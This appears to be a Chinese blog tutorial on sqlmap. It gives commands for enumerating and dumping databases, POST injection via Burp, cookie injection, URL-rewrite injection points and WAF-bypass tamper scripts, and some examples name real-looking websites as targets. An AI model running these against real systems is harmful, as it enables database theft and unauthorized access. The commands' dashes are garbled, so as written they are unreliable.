一步一步解读sqlmap是如何操作的

  1. 基础用法:

  ./sqlmap.py -u “注入地址” -v 1 –dbs // 列举数据库

  ./sqlmap.py -u “注入地址” -v 1 –current-db // 当前数据库

  ./sqlmap.py -u “注入地址” -v 1 –users // 列数据库用户

  ./sqlmap.py -u “注入地址” -v 1 –current-user // 当前用户

  ./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” // 列举数据库的表名

  ./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库” // 获取表的列名

  ./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列

  已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、

  2. sqlmap post注入

  我们在使用Sqlmap进行post型注入时,

  经常会出现请求遗漏导致注入失败的情况。

  这里分享一个小技巧,即结合burpsuite来使用sqlmap,

  用这种方法进行post注入测试会更准确,操作起来也非常容易。

  1. 浏览器打开目标地址http:// www,2cto,com /Login.asp

  2. 配置burp代理(127.0.0.1:8080)以拦截请求

  3. 点击login表单的submit按钮

  4. 如下图,这时候Burp会拦截到了我们的登录POST请求

  5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

  6. 运行sqlmap并使用如下命令:

  ./sqlmap.py -r search-test.txt -p tfUPass

  这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,

  而-p 大家应该比较熟悉,指定注入用的参数。

  3,sqlmap cookies注入

  sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″ –dbs –level 2

  2. 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可

  利用sqlmap cookies注入突破用户登录继续注入

  先把用户登陆的cookie拿到吧,

  在收藏夹添加一个链接cookies属性:

  名字自己取

  javascript:alert(document.cookie),,需要获取当前cookie的时候,

  直接点一下这个链接,然后复制一下弹出对话框

  里的cookie值就搞定了

  sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”

  -p是指指定参数注入

  4. sqlmap遇到url重写的注入

  哪里存在注入就加上 * 号

  1

  ./sqlmap.py -u “http://www,cunlide,com/id1/1*/id2/2“

  5.sqlmap 编码绕waf注入

  ./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

  在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载

  其他基础:

  sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称

  sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db #获取当前数据库名称

  sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables -D “db_name” #列表名

  sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段

  sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –dump -C “column_name” -T “table_name” -D “db_name” -v 0 #获取字段内容

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值